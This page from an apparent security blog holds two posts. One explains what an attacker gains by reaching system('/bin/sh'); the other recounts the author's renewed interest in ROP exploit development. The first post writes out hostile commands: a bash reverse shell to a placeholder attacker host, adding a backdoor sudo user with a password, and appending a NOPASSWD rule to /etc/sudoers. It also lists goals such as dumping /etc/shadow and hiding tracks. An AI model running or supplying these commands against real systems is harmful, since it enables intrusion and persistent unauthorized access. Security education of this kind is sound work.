Showing posts with label code injection. Show all posts
Showing posts with label code injection. Show all posts

Thursday, August 7, 2025

Calling system("/bin/sh") — a common goal in exploitation

 Calling system("/bin/sh") in an exploit gives the attacker a shell — specifically, a new instance of the Bourne shell (sh) — which runs with the same privileges as the exploited program.


๐Ÿ”“ So what can you do with system("/bin/sh")?

That depends on who owns the process you're exploiting:




๐Ÿง‘‍๐Ÿ’ป If it's a normal user process:

You get a shell as that user, allowing you to:

  • Read/write/modify their files.

  • Access credentials (e.g., SSH keys, saved passwords).

  • Modify or hijack scripts they use (for persistence).

  • Dump memory or tokens (e.g., cookies, secrets).

  • Set up backdoors or keyloggers.


๐Ÿ‘‘ If it's a root process:

You get a root shell — this is game over. You can:

  • Access and modify any file on the system.

  • Add new users or escalate other accounts.

  • Install malware, rootkits, or backdoors.

  • Disable logging, hide your tracks.

  • Dump password hashes (/etc/shadow) and crack them.

  • Open reverse shells to maintain access.

  • Disable or modify firewalls or security software.


⚠️ Real-World Example Use Cases

1. ๐Ÿš Interactive Shell

You can interact with the target system just like you're logged in:

1
2
3
ls -la
cd /home/victim/
cat .bash_history

2. ๐ŸŽฃ Create a Reverse Shell (connects back to your machine):

system("bash -i >& /dev/tcp/attacker_ip/4444 0>&1");

I also have posted a tuorial on reverse shell: Reverse Shell with NetCat

3. ๐Ÿ˜ Add a User:

useradd hacker -G sudo

echo "hacker:hackme" | chpasswd

 4. ๐Ÿ—ƒ️ Modify /etc/sudoers:

echo "hacker ALL=(ALL:ALL) NOPASSWD:ALL" >> /etc/sudoers

๐Ÿงช In CTFs or Security Labs:

Calling system("/bin/sh") is usually the “win condition”, because:

  • It proves you control the instruction pointer (EIP/RIP).

  • It gives you interactive control.

  • You can use it to read the flag, like:

cat /home/ctf/flag.txt

๐Ÿ” How Defenders Block This

Defensive features that block or mitigate this:

  • ASLR (Address Space Layout Randomization)

  • DEP/NX (Non-Executable stack)

  • Stack canaries

  • RELRO / PIE / Fortify

  • seccomp sandboxing (blocks system calls)

  • AppArmor / SELinux


✅ Summary

system("/bin/sh") gives you:
An interactive shellas the target user
Read/write file accessto user-owned files
Escalation pathif misconfigurations exist
Remote accessvia reverse shell
Root-level controlif the binary runs as root

Wednesday, August 6, 2025

Rediscovering My Passion for Exploit Development

 I didn’t have an internet connection for the past two weeks — and honestly, it drove me a little crazy. To ease my boredom, I started digging through old files on my PC looking for something interesting to read.

That’s when I stumbled upon a research paper I had downloaded years ago. The title immediately grabbed my attention:
"Identifying Code Injection and Reuse Payloads in Memory Error Exploits."



Curious, I opened it up and started reading. Although it was packed with highly technical terms and clearly targeted toward C/C++ and assembly language programmers, it still resonated with me. I used to code in C and C++ around 12 years ago, so some of the concepts felt familiar — and exciting.

What really sparked my interest was the realization that this paper dives deep into code injection and reuse attacks, particularly ROP (Return-Oriented Programming) techniques. I had dabbled in code injection before — in fact, I even published a demo program about it here on this blog a couple of years ago. But this paper took things to an entirely new level. I hadn't realized just how deep this rabbit hole goes.

Unfortunately, the paper lacked practical examples — something I really needed to bridge the gap between theory and application. But it gave me a ton of keywords and ideas that I could explore further.

So the moment I got back online this morning, I went straight to ChatGPT and started asking:

  • What is this term?

  • Why is it used?

  • Can you build a sample program for this exploit?

I wanted to understand everything the paper didn't explain in detail — and now I feel like I'm finally connecting the dots. I'm especially excited about how this knowledge can eventually be applied to bug bounty hunting and security research.

This is just the beginning of my journey into ROP attacks, memory exploits, and advanced code reuse techniques. Stay tuned — I’ll be sharing what I learn, along with code samples, demos, and more.

Let’s dive deep into exploitation — one gadget at a time. ๐Ÿง ๐Ÿ’ป๐Ÿ”